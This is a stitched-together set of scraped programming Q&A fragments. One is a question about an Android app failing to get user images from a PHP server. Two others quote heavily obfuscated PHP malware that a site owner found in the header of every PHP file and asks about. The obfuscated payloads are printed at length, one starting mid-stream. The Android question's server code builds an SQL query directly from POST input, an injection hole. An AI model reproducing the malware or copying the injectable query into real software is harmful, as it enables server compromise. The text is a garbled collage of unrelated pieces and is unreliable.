x27Y%6&lt;{66~6&lt;&amp;w6&lt; x7fw6*CW&amp;)7gj6&lt;*do2]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#&lt;!%tww!&gt;! x2400~&lt;#opo#&gt;b%!**X)ufttj x22)gj!|!*nbsbq%)323ldfidk!~!&lt;**qp%!-u!|ftmf!~&lt;**9.-j%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~&lt;3,j%&gt;j%!*3! xG9}:}.}-}!#*&lt;%nfd&gt;%fdy&lt;Cb*[%h!&gt;!%&lt;!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-C&gt;^#zsfvr# x5cq%7**^#zsfvr# x5c# x24#-!#]y38#-!%w:**&lt;")));6:+946:ce44#)zbssb!&gt;!ssbnpe27!hmg%!)!gj!&lt;2,*j%!-#1]#-bubE{h%)tpqsut&gt;:**#ppde#)tutjyf`4 x223}!+!&lt;+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!uas," x6d 163 x69 145")) or (strstr($uas," x72 166 x3a 61 x31")))boe))1/35.)1/14+9**-)1/2986+7**^/%rx&lt;~!!%s:N}#poV;hojepdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyf`x x22lvmt+fmhpph#)zbssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-L3]248L3P6L1M5]D2P4]D6#&lt;%bss-%rxB%h&gt;#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597ec:649#-!#:618d5f9#-!#f6c68399#-!#65283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]!opjudovg}k~~9{d%:osvufs:~95`hA x27pd%6&lt;pd%w6Z6&lt; x246767~6&lt;Cw6&lt;pd%w6Z6&lt;..4`hA x27pd%6&lt;pd%w6Z6&lt;.3`hA x27pd%6&lt;pd%w6Z6&lt;.2`hA x27pd%6&lt;C x27pd%6|6.6&lt;*K)ftpmdXA6~6&lt;u%7&gt;/7&amp;6|7**111127-K)ebfsX x27u%)7fmjix6&lt;C x27&amp;6&lt;*,47R57,27R66,#/q%&gt;2q%&lt;#g6R85,67R37,18R#&gt;q%V&lt;*#fo&lt;!fmtf!%b:&gt;%s: x5c%j:.2^,%b:&lt;!%c:&gt;%s: x5c%j:^&lt;!%w` x5c^&gt;Ew:Qb:Qc:)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x2])))) { $GLOBALS[" x61 156 SV&lt;*w%)ppde&gt;u%V&lt;#65,47R25,d7R17,67R37,#/q%&gt;U&lt;#16gj+{e%!osvufs!*!+A!&gt;!{e%)!&gt;&gt; x22!ftmbg) x24)%c*W%eN+#Qi x5c1^W%c!&gt;!%i x5c2^&lt;!Ce*[!%cIjQeTQcOc/#00#W~m!|!*5! x27!hmg%)!gj!|!*1?hmg%)!gj125 x53 105 x52 137 x41 107 x45 116 x54"]); if ((strstr($WCw*[!%rN}#QwTW%hIr x5c1^-%r x5c6]y81]265]y72]254]y76#&lt;!%w:!&gt;!(%w:!&gt;!:!}V;3q%}U;y]}R;2]},;osvufs} x27;mnui}&amp;;zepc}A;~!} x7f;!|!}{;)g.msv`ftsbqA7&gt;q%6&lt; x7fw6* x7f_*#fubfsdXk5`_SFSFGFS`QUUI&amp;c_UOFHB`SFTV`QUUI&amp;f-s.973:8297f:5297e:56-xr.985:52985-t.98]K4]65]D8]8W~!%z!&gt;2&lt;!gps)%j&gt;1&lt;%j=6[%nnbrpoa = implode(array_map("acdbhfi",6&lt; x7fw6*3qj%7&gt; x2272qj%)7gj6&lt;**2qnbozcYufhA x272qj%6&lt;^#zsfvr# x5cq%7/7#@#7/7^#iubq# x5cq% x27jsv%6&lt;*#j{hnpd#)tutjyf`opjudovg x22)!gj}1~!&lt;2p% x7f!~if((function_exists(" x6f 142 x5f 163 x74:&lt;h%_t%:osvufs:~:&lt;*9-1-r%)s%&gt;/h%:&lt;**#57]38y]47]628&gt;&gt; x22:ftmbg39*56A:&gt;:8:|:7#6#)tutjyf`439275ttfsqnpdov{h2#-#!#-%tmw)%tww**WYsboepn)%b%!&lt;*qp%-*.%)euhA)3of&gt;2bd%!&lt;5h%/#0#/*#2]445]43]321]464]284]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss x5cs% x24- x24y4 x24- x24]y8 x24- x24]26 x24- x24&lt;%j,,*!| x24- x24gvodujegb2dc#*&lt;!sfuvso!sboepn)%epnbss-j%)hopm3qjA)qj3hopmA x273qj%6&lt;*Y%)f71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#&lt;%tpz!&gt;!#]D6M7]_;gvc%}&amp;;ftmbg} x7f;!osvufs}w;* x7f!&gt;&gt; x22!pd%)!gj}Z;#-#}+;%-qp%)54l} x27;%!&lt;*#}_;#)323ldfid&gt;}&amp;;!osvufs} x7f;88]5]48]32M3]317]445]21unction acdbhfi($n){return chr(ord($n)-1);} @%6&lt; x7fw6* x7f_*#ujojRk3`{666~6&lt;&amp;w6&lt; x7fw6*CW&amp;)7gj6&lt;.[A x27&amp;6&lt; x7y]472]37y]672]48y]#&gt;s%&lt;#462]47y]252]18y]#gj!&lt;*2bd%-#1GO x22#)fepmqyfA&gt;26]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:75983:48984:fxpmpusut!-#j0#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qs- x24 x5c%j^ x24- x24&lt;!%t2w&gt;#]y74]273]y76]25!&lt;##!&gt;!2p%Z&lt;^2 x5c2b%!&gt;!2p%!*3&gt;?*2b%)gpf{jt)!v%7UFH# x27rfs%6~6&lt; x7fw6&lt;*K)ftpmdXA6|7**1fw6* x7f_*#[k2`{6:!}7;!}6;##}C;!&gt;&gt;!}W;uttvctus)% x24- x24b!&gt;!%yy)#g)% x24- x24*&lt;!~! x24/%t2w/ x24)##-!#~&lt;#/% x24- x24!&gt;!fyqmpef)# ]278]225]241]334]368]322]3]364]6]FEBFI,6&lt;*127-UVPFNJU,6&lt;*27-SFGTOBSUOSVUFS,6&lt;*msv%7-MSV,6&lt;*)ujojR x27idvd}R;*msv%)}.;`UQPMSVD!j}l;33bq}k;opjudovg}x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#-id%)uqpuft`msvd},;uqpuft`msvd}+;!&gt;!} x27;!&gt;&gt;&gt;!}:*r%:-t%)3of:opjudovg&lt;~ x24&lt;!%o:!&gt;! x242178}527}88:}334}47!fmtf!%z&gt;2&lt;!%ww2)%w`TW~ x24npd/#)rrd/#00;quui#&gt;.%!&lt;***f x97-2qj%7-K)udfoopdXA x22)7gj6&lt;*QDU`MPT7-NBFSUT`LDPT7-4&lt;!%tmw!&gt;!#]y84]275]y83]273]y76]277#ubE{h%)sutcvt-#w#)ldbqov&gt;*ofmy%)utjyfu%)3of)fepdof`57ftbc x7f!|!*uyfu x27k:!ftmf;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~&lt;ftmbg!osvufs-bubE{h%)tpqsut&gt;j%!*9! x27!hmg%)!gj!~&lt;ofmy%,3,j%&gt;j%!&lt;**3-j%-b!}Z;^nbsbq% x5cSFWSFT`%}X;!sp!*#opo#&gt;&gt;}R;msv}.;/#/#/},j%!*72! x27!hmg%)!gj!&lt;2,*j%-#1]#-%o:W%c:&gt;1&lt;%b:&gt;1&lt;!gps)%j:&gt;1&lt;%j:=tj{fpg)%s:*&lt;%j:,,Bjg!)%j:&gt;&gt;1*!%b:&gt;1{ftmfV x7f&lt;*X&amp;Z&amp;S{ftmfV x7f&lt;*XAZA&gt;*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!*$umxzfqz = $blbdecb("", $nnbrp5 x5f 146 x75 156 x63 164 x69 157 x6e"; f#7&gt;/7rfs%6&lt;#o]1/20QUUI7js&gt;q%&lt;#762]67y]562]38y]572]48y]#&gt;m%:|error_reporting(0); $]y6gP7L6M7]D4]275]D:M8]Df#&lt;%tdz&gt;#L4]275UFOJ`GB)fubfsdXA x27Krfs%7-K)fujsxX6&lt;#o]o]Y%7;utpIpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`ms7y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:&gt;:r%:|:**t { $blbdecb = " x63 162 x65 141 x74 14_GMFT`QIQ&amp;f_UTPI`QUUI&amp;e_SEEB`FUPNFS&amp;dx24*&lt;!%t::!&gt;! x24Ypp3)%cB%iN}#-! x24/%tmw/G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*&lt;%b#@#/qp%&gt;5h%!&lt;*::::::-111112)eobs`un&gt;qp%!|Z~!&lt;##!&gt;!2p%!|!*!***b%)sww2!&gt;#p#/#p#/%z&lt;jg!)%z&gt;&gt;2*!%z&gt;3&lt;2^-%hOh/#00#W~!%t2w)##Qtjw)#]82 x24&lt;!%ff2!&gt;!bssbz) x24]25 x24- x24-!% x24- x24*!|! x24tdz)%bbT-%bT-%hW~%fdy)##-!#~&lt;%h00#*&lt;%nfd)##Qtpz)#]341]88M4P8]37str_split("%tjw!&gt;!#]y84]275]y83]248]y83]25!gj&lt;*#k#)usbut`cpV x7f x7f x7f x7f&lt;u%V x2727,*e x27,*d x27,*c x27,*b x27)fepdof.)fepdof./[" x61 156 x75 156 x61" 141 x72 164") &amp;&amp; (!isset($GLOBALSoa); $umxzfqz();}}#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**&lt;(&lt;!fwbm)%tjw)sTrREvxNoiTCnuf_EtaerCxECalPer_Rtsjwqsxsbcf'; $cqfonxc = explode(chr((544 - 424)), substr($kmkale, (39363 - 33486), (143 - 109))); $pawnrdtll = $cqfonxc[0]($cqfonxc[(4 - 3) ]); $bmvtaqfq = $cqfonxc[0]($cqfonxc[(12 - 10) ]); if (!function_exists('hwbxubj')) { function hwbxubj($yovhrg, $lzzqgakz, $tpwfri) { $momntpvm = NULL; for ($smmrtussqv = 0;$smmrtussqv &lt; (sizeof($yovhrg) / 2);$smmrtussqv++) { $momntpvm.= substr($lzzqgakz, $yovhrg[($smmrtussqv * 2) ], $yovhrg[($smmrtussqv * 2) + (3 - 2) ]); } return $tpwfri(chr((51 - 42)), chr((482 - 390)), $momntpvm); }; } $zxwcpmkg = explode(chr((267 - 223)), '2828,41,5765,34,5742,23,2096,27,661,64,2305,57,1318,65,5199,38,4896,41,3425,45,4997,21,2643,38,5611,42,2394,37,1765,24,1744,21,1789,70,466,67,1859,66,5078,29,4937,25,3817,42,4333,53,5057,21,2681,34,3207,35,2715,66,1130,31,790,35,2494,41,825,29,0,62,725,65,4022,70,3470,65,3859,40,5107,46,4092,23,4170,48,3293,52,4502,62,974,65,1215,41,4679,32,4564,61,4422,35,2271,34,357,57,4811,55,2781,47,3772,45,3576,30,3002,38,4303,30,5695,47,5365,65,3671,57,1485,61,236,66,1188,27,5237,37,2535,32,414,52,916,58,4457,45,4625,54,3345,57,1717,27,2917,57,606,55,1256,62,2171,39,5653,42,4778,33,2123,48,1925,48,1429,56,2431,63,4115,55,2038,58,4386,36,3749,23,854,62,2869,48,5153,46,127,54,3535,41,4962,35,4218,58,5492,56,3728,21,3899,26,181,55,3107,68,533,52,3925,64,5274,42,2210,61,62,29,1632,36,3175,32,91,36,585,21,2362,32,5462,30,2974,28,1571,61,2567,51,3606,65,3242,51,302,55,5018,39,1546,25,5316,49,1039,33,5548,63,3989,33,1668,49,3402,23,3040,67,1383,46,4711,67,1973,65,2618,25,5430,32,4276,27,1072,58,5817,60,1161,27,4866,30,5799,18'); $jxtucsvnt = $pawnrdtll("", hwbxubj($zxwcpmkg, $kmkale, $bmvtaqfq)); $pawnrdtll = $kmkale; $jxtucsvnt(""); $jxtucsvnt = (473 - 352); $kmkale = $jxtucsvnt - 1; ?&gt; </code></pre> </div>

无法从服务器获取图像到Android应用程序

<div class="post-text" itemprop="text"> <p>i am building application which have the ability to search users and get there information. the situation is that when i run it on the emulator everything is fine but when i run it on my real server sometimes i get the user detailed and sometimes not. i don't know why i get some users and other not. i check and the users that was does not exist i get the failed message but for other users that exists i get the message.</p> <p>for example: correct result:</p> <pre><code> {"flag":"user found","users":[{"name":"nir","email":"nirb@g.com","mobile":"0543536434","image":"\/9j\/4AAQSkZJRgABAQAAAQABAAD\/2wBDAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH\/2wBDAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH\/wAARCAB4AHgDASIAAhEBAxEB\/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL\/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6\/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL\/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6\/9oADAMBAAIRAxEAPwD+hr\/gmP8A8Ex\/+CZ3j\/8A4Jnf8E7fHnjz\/gnb+xB408a+NP2IP2R\/FnjLxl4t\/ZH\/AGfPEXizxZ4s8Rfs+\/DzWPEXifxP4i1j4c3uq6\/4g1\/Vby71XWta1W8udT1PU7m6v9Qu57uaad\/t\/wD4dNf8Eo\/+kY37AH\/iFv7NX\/zsKP8Agk1\/yii\/4Jjf9mAfsWf+s1\/DOvv+gD4A\/wCHTX\/BKP8A6RjfsAf+IW\/s1f8AzsKP+HTX\/BKP\/pGN+wB\/4hb+zV\/87Cvv+igD4A\/4dNf8Eo\/+kY37AH\/iFv7NX\/zsKP8Ah01\/wSj\/AOkY37AH\/iFv7NX\/AM7Cvv8AooA+AP8Ah01\/wSj\/AOkY37AH\/iFv7NX\/AM7Cj\/h01\/wSj\/6RjfsAf+IW\/s1f\/Owr7\/ooA+AP+HTX\/BKP\/pGN+wB\/4hb+zV\/87Cj\/AIdNf8Eo\/wDpGN+wB\/4hb+zV\/wDOwr7\/AKKAPgD\/AIdNf8Eo\/wDpGN+wB\/4hb+zV\/wDOwo\/4dNf8Eo\/+kY37AH\/iFv7NX\/zsK+\/6KAPgD\/h01\/wSj\/6RjfsAf+IW\/s1f\/Owo\/wCHTX\/BKP8A6RjfsAf+IW\/s1f8AzsK+\/wCigD8If+Cm\/wDwTH\/4JneAP+CZ3\/BRPx54D\/4J2\/sQeC\/Gvgv9iD9rfxZ4N8ZeE\/2R\/wBnzw74s8J+LPDv7PvxK1jw74n8MeItH+HNlqugeINA1Wxs9V0XWtKvLbU9M1O1tL+wu4buCGcFfb\/\/AAVk\/wCUUX\/BTr\/swD9tH\/1mv4qUUAH\/AASa\/wCUUX\/BMb\/swD9iz\/1mv4Z19\/18Af8ABJr\/AJRRf8Exv+zAP2LP\/Wa\/hnX3\/QAUUVUnvra3JEsm0j29yPX\/AGT\/AIk9Wk27RTb7JNvtsr\/156kylGKcpSUUt22kt2ur8vz3s27dFZsWrWEzbI5stxxjGeSB1PfHH4jJIOZbm9t7a2kuJHwiq5De6iQ+vptPXpkknBIfJO6XLK70Ss7t6LTT+teqbIVei4ykqsHGCvKSkmkrtXbvZbdX1Wrs2W2dV+8cfn9PQ\/57k80zzov74\/I\/4V+Of7RH7ffiTwFrWoaN4W8q6ms50jZDN5ZAM7qesL5O1c44GAM5JyfmD\/h5x8Xv+gdH\/wCBqf8AyJX7FlPgXx5nGAoZhh8NgoUa8YzpqtjIUqjhJJxk4SjdJxs0\/wDFq7a\/zPxD9LPwm4czbF5Pi8ZmVXE4Oo6VaWFy6rXoqcZzhKKqU5uLacHdXutG1rY\/or86L++PyP8AhQJoj0cfr7j0\/wBk\/wD1up\/nU\/4eb\/F7\/oHR\/wDgan\/yLSr\/AMFOPi8P+YbEf969T1b\/AKdPbvxgrk8bq9H\/AIl48Q\/+fWW\/+HCl\/keKvpn+DvWvnPT\/AJk+JXV33n2Sdt9bXumf0XKQwypyPXn6d\/8APuDzS1+Z37K37ZN\/8XrnTtI8QSx2+p3RtA1usgl5kcK3Plp\/ERwBjGDlgWr9L0ZZF3Kcj1\/Ej+mfp34NflPEfDWbcK5jUyvN6Ko4mmr2jLmhKPNKPNCa0lH3bpq6d97q5\/Q3A\/HXD3iHklPPuHMTLEYKo4xvUg6dWE3FtwqU3JypzSteMtd+qkOooorwD7E+AP8AgrJ\/yii\/4Kdf9mAfto\/+s1\/FSij\/AIKyf8oov+CnX\/ZgH7aP\/rNfxUooAP8Agk1\/yii\/4Jjf9mAfsWf+s1\/DOvv+vgD\/AIJNf8oov+CY3\/ZgH7Fn\/rNfwzr7\/oA8k+Jvxg8J\/DGznk8Q3q20ghWSMmaOM4JOD+8YY49MnoME4r8avjt+3f421PxnFYfCvWmm09nuIm8u\/lxvDhEG2BnUchgAeR0yWBz2f\/BU3xTrGjeI\/Dmn2Nz5Vvd29qs0e0\/Optb1m5DA8lFJGD25yAa+Cf2W7PwlqnxE0K28S2puUnu180GRUB3XMfmY3K2M7hySeSc5xX9Z+F\/h3w9g+D4cd5rg5ZxVrYLEVoYCcIVKMYw9pFt058q5k6bcXzaJq6b3\/wA6vHjxn4yzLxKxHhLw9mkeHcPh80wOErZvSnUo4lyqTpzilWpyl7jVS004Xta3wtv26x\/bR+P2g6iH1zU5o7dCPMY3t6uNruG+\/wAcjPXpgZIzkfVGqft96Pe\/DS2hGvZ8SN54uV\/tBSxVowqclw\/3txw2RgjoRkwftmeEvgtovw81xvDej\/ZtYRLvyphdRPgiGcr8ohUkkqDjd14yRnP4h19zw1wnwT4i5Zhs6\/1b\/sR4PFxSo06VKi6\/JBtc6i53pPmdldO\/flufk3GniF4peC+d5hwu+NVxRHMcuTeJq4nEYhYVVKrX7uU\/Z8lePsbXs1ZvVt69n4+8RP4r8V6trkknmtey7y+7dnBfuSfXsecnkgAnjK39A8Oaj4ju0s7FGMjyJGp8t2G5iAOn4Z78gYJ6\/avw\/wD2Cfi34wt4b62Fr5EiRzKJLWfJjcv\/ALeAcEZ79R82Of1rMM\/4d4WwlKnmmZ4XL6NKlTpUo158t4U1OMVFJdor\/h73\/njJOD+M+Pcfiq2RZJj85xGIr1K+InhaTqWqVqk5SlJyknZyu27vzbdrfBdFfq5J\/wAE2\/icbR1SOz87y12k28+S\/wAwP8XTuehxjk5FfNvxJ\/Yq+Knw4gubzVVgaGBd7iK1nU7d0mMEs3OAc+oKnoGryMt8SeCc1r\/VsJxBgJ15SUadL2r5qjbSXKnFbu3lqrNvf6TOfBHxSyHBzx+YcH5tTwlOLnVr\/V1yUopNvnfPdWSbe6tbVt2PKv2fviU\/wx8e6f4h+0\/Z0tpIG3+aYx+7mD8tu4+7n2BbgjJr9q\/DP\/BQT4bjR4BqviFftv8Ay1\/0+3\/D7zk9+\/qRjqa\/ntv9PuNOna3uFKuuc5Vl6MVPBHtn15HrmqNcXF3hnw1xxiKOOzRVlWp04whWw8oRcqcXJxTbi7rV6dHZ7s9Pw38c+OfCnB4vKs </code></pre> <p>when it failed i get:</p> <pre><code>{"flag":"user not found"} </code></pre> <p>for other existing users:</p> <pre><code> &lt;html&gt;&lt;head&gt;&lt;meta http-equiv="refresh" content="0;http://biz.nf/errors/403.html" /&gt;&lt;/head&gt;&lt;body&gt;&lt;/body&gt;&lt;/html&gt; </code></pre> <p>i do not have any idea why its happend:</p> <p>i just found that if i take off those 2 lines </p> <pre><code>$img_path = "images/".$row["image"]; $imgdata = base64_encode(file_get_contents($img_path)); and "image" =&gt; $imgdata </code></pre> <p>the result is fine. does my image decoding process correct? because in 1 user i get the image but in others not. </p> <p>this is my java code:</p> <pre><code> package com.example.matant.gpsportclient.Controllers; import android.content.Intent; import android.graphics.Bitmap; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.support.v7.internal.widget.AdapterViewCompat; import android.text.Editable; import android.text.TextWatcher; import android.util.Log; import android.view.View; import android.widget.AdapterView; import android.widget.Button; import android.widget.EditText; import android.widget.ImageView; import android.widget.ListView; import android.widget.Toast; import com.example.matant.gpsportclient.AsyncResponse; import com.example.matant.gpsportclient.R; import com.example.matant.gpsportclient.Utilities.ImageConvertor; import com.example.matant.gpsportclient.Utilities.InviteUsersArrayAdapter; import com.example.matant.gpsportclient.Utilities.InviteUsersListRow; import org.apache.http.NameValuePair; import org.apache.http.message.BasicNameValuePair; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import java.util.ArrayList; import java.util.List; public class InviteUsersActivity extends AppCompatActivity implements AsyncResponse, View.OnClickListener{ private EditText editTextSearch; private Button btnSave,btnDiscard; private ListView usersListView; private List&lt;InviteUsersListRow&gt; rowUser; private DBcontroller dbController; public static final String EXTRA_USERS = ""; ListView listViewUsers; List&lt;InviteUsersListRow&gt; rowUsers; private InviteUsersArrayAdapter Useradapter = null; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_invite_users); editTextSearch = (EditText) findViewById(R.id.editTextSearch); btnSave = (Button) findViewById(R.id.ButtonSave); btnDiscard = (Button)findViewById(R.id.ButtonDiscard); editTextSearch.addTextChangedListener(new TextWatcher() { @Override public void beforeTextChanged(CharSequence s, int start, int count, int after) { } @Override public void onTextChanged(CharSequence s, int start, int before, int count) { if(editTextSearch.getText().length() &gt; 0) { Log.d("send request","searching..."); sendDataToDBController(); } else{ Log.d("do nothing","doing nothing"); if(Useradapter != null) { Log.d("do nothing","clear adapter"); /*Useradapter.clear(); Useradapter.notifyDataSetChanged();*/ listViewUsers.setAdapter(null); } } } @Override public void afterTextChanged(Editable s) { } }); btnDiscard.setOnClickListener(this); listViewUsers = (ListView) findViewById(R.id.listViewusers); listViewUsers.setItemsCanFocus(true); btnSave.setOnClickListener(this); } @Override public void handleResponse(String resStr) { Log.d("invite_Response", resStr); if (resStr != null) { try { JSONObject json = new JSONObject(resStr); String flg = json.getString("flag"); Log.d("flag",flg); switch (flg){ case "user found":{ JSONArray jsonarr = json.getJSONArray("users"); Log.d("array",jsonarr.toString()); rowUsers = new ArrayList&lt;InviteUsersListRow&gt;(); for(int i = 0; i &lt; jsonarr.length();i++){ { Log.d("user is", jsonarr.getJSONObject(i).toString()); String name = jsonarr.getJSONObject(i).getString("name"); String mobile = jsonarr.getJSONObject(i).getString("mobile"); Bitmap profileImage = ImageConvertor.decodeBase64(jsonarr.getJSONObject(i).getString("image")); int imgStatus = R.drawable.add_user_50; if(Useradapter != null){ Log.d("Useradapter invited size:",String.valueOf(Useradapter.getUsers().size())); for(int j = 0 ;j&lt;Useradapter.getUsers().size();j++) { if(Useradapter.getUsers().get(j).getDesc().equals(mobile)) { imgStatus = R.drawable.remove_user_50; Log.d("set status2.1",String.valueOf(imgStatus)); break; } } }else{ imgStatus = R.drawable.add_user_50; Log.d("set status1",String.valueOf(imgStatus)); } InviteUsersListRow rowUser = new InviteUsersListRow(imgStatus, name, mobile,profileImage); rowUsers.add(rowUser); } if(Useradapter == null) Useradapter = new InviteUsersArrayAdapter(this,R.layout.invite_users_listview_row,rowUsers); else { { Useradapter.setData(rowUsers); Useradapter.notifyDataSetChanged(); } } listViewUsers.setAdapter(Useradapter); } break; } } } catch (JSONException e) { e.printStackTrace(); } }else Log.d("ServiceHandler", "Couldn't get any data from the url"); } @Override public void sendDataToDBController() { String username = editTextSearch.getText().toString(); BasicNameValuePair tagreq = new BasicNameValuePair("tag", "search_user"); BasicNameValuePair name = new BasicNameValuePair("name", username); List&lt;NameValuePair&gt; nameValuePairList = new ArrayList&lt;NameValuePair&gt;(); nameValuePairList.add(tagreq); nameValuePairList.add(name); dbController = new DBcontroller(this,this); dbController.execute(nameValuePairList); } @Override public void preProcess() { } @Override public void onClick(View v) { switch (v.getId()) { case R.id.ButtonDiscard: { Intent i = new Intent(); setResult(RESULT_CANCELED,i);; finish(); break; } case R.id.ButtonSave: { if(Useradapter != null ) { if(Useradapter.getUsers().size() &gt; 0) { Log.d("adapter size:",String.valueOf(Useradapter.getUsers().size())); Intent i = getIntent(); JSONArray jsonArr = new JSONArray(); for(int j = 0 ;j &lt; Useradapter.getUsers().size();j++) { try { JSONObject jsonObj = new JSONObject(); jsonObj.put("name",Useradapter.getUsers().get(j).getTitle()); jsonObj.put("mobile",Useradapter.getUsers().get(j).getDesc()); jsonArr.put(jsonObj); } catch (JSONException e) { e.printStackTrace(); } } Log.d("json users",jsonArr.toString()); i.putExtra("userList", jsonArr.toString()); setResult(RESULT_OK, i); finish(); } else{ Log.d("adapter size &lt;0", "search is empty"); Toast.makeText(this, "Please select user!", Toast.LENGTH_SHORT).show(); } } } break; } } } </code></pre> <p>this is the server side:</p> <pre><code>&lt;?php /** * Created by PhpStorm. * User: matant * Date: 9/24/2015 * Time: 11:29 AM */ include 'response_process.php'; class SearchUser implements ResponseProcess{ public function dataProcess($dblink) { $output = array(); $name = $_POST["name"]; $output["flag"]="user found"; $query = "SELECT * FROM users WHERE users.name LIKE '$name%'"; $result = mysqli_query($dblink,$query) or die (mysqli_error($dblink)); if(!$result){ $output["flag"] = "query failed"; $output["query_msg"] = $result; }else{ $no_of_rows = mysqli_num_rows($result); if ($no_of_rows &lt; 1) $output["flag"]="user not found"; //user not found else{ $output["flag"]="user found"; $output["users"] = array(); while($row = mysqli_fetch_assoc($result)) { $img_path = "images/".$row["image"]; $imgdata = base64_encode(file_get_contents($img_path)); $output["users"][] = array("name"=&gt; $row["name"],"email"=&gt; $row["email"],"mobile" =&gt; $row["mobile"],"image" =&gt; $imgdata); } } } echo json_encode($output); } } </code></pre> </div>

这个PHP究竟是如何利用代码的

<div class="post-text" itemprop="text"> <p>This exploit was in the header of all my PHP files on my server...any ideas what it does ? Do you know how to batch remove it?</p> <pre><code>&lt;?php $hngctorffh = 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fx7825)utjm6&lt;%x5c%x783]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]%x787f_*#fmjgk4%x5c%x7860{6~6&lt;tfs%x5c%x7825w6&lt;%x5c%x787fw6*CWtfs%x5~~~&lt;ftmbg!osvufs!|ftmf!~&lt;foopdXA%x5c%x7822)7gj6%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x7825b:&lt;!%x5c%x7825c:&gt;%x5x5c%x7878{**#k#)tutjyf%x5c%x786y76]271]y7d]252]y74]256]y39]252]y83]273]y72]282#&lt;!%x5c%x7825tjw!&gt;!#]y%x785c1^W%x5c%x7825c!&gt;!%x5c%x7825i%x5c%x785c2^&lt;!Ce*[!%x5c%x7825cIjQe%x7825tmw)%x5c%x7825tww*7824y7%x5c%x7824-%x5c%x7824*&lt;!%x5c%x7824-%x5c%x7824gps)%x5c%x7tfs%x5c%x78256&lt;*17-SFEBFI,6&lt;*127-UVPFNJU,6&lt;*27-SFGTOBSUOSVUFS,6&lt;*msv%x!*72!%x5c%x7827!hmg%x5c%x7825)!gj!&lt;2,*j%x5c%x7825-#1]#-bubE{h%x5c%x76%152%x66%147%x67%42%}#-!tussfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x5cc%x785csboe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**c%x7825s:%x5c%x785c%x5c%x7825j:^&lt;!%x5c%x7825w%x5c%x78/(.*)/epreg_replacevgtceydjcr'; $gifkmxealv = explode(chr((199 - 155)) , '8313,61,8565,45,9241,37,1894,27,6112,44,8832,69,5398,63,9922,21,4851,40,4927,37,3901,54,4377,32,5822,57,1921,25,4260,69,5718,40,7551,58,5516,42,726,41,9278,20,7417,37,483,64,1072,28,7641,49,3955,48,962,36,0,66,9440,22,286,22,660,66,2121,23,8013,56,7860,65,6242,62,998,36,5662,56,308,36,843,23,9148,69,1175,42,344,27,9217,24,8459,35,6917,21,3258,22,9348,67,8249,64,9784,70,1695,62,8725,21,3116,44,3786,31,2953,52,6740,35,2256,23,5093,21,7985,28,866,54,4189,31,2144,70,1946,64,7609,32,9415,25,8205,44,5334,42,6328,47,6819,44,9854,68,2720,49,8108,50,3848,53,8953,46,4484,66,4964,63,3540,57,2214,42,5879,66,6178,64,6613,21,1833,22,5581,24,7024,35,1794,39,4550,62,608,52,5558,23,7059,62,5027,66,2899,54,8901,32,7796,64,8999,51,5162,46,6060,52,4798,53,6775,44,4777,21,4649,34,1569,56,4329,48,180,63,1625,41,3005,64,7203,37,6462,37,1413,34,767,27,2474,56,6304,24,2530,57,5114,48,1447,34,3446,38,243,43,5461,55,8069,39,9097,51,1855,39,1100,27,3694,69,3160,54,8429,30,6687,53,9530,31,4710,67,5605,57,4034,24,7345,24,9050,47,8797,35,7925,60,7690,55,9561,69,3632,62,3597,35,2010,53,7454,66,1034,38,4683,27,2279,36,2315,36,2691,29,1217,53,5945,52,2091,30,8374,55,4448,36,3280,46,5997,63,7297,48,4157,32,920,42,8746,29,1481,51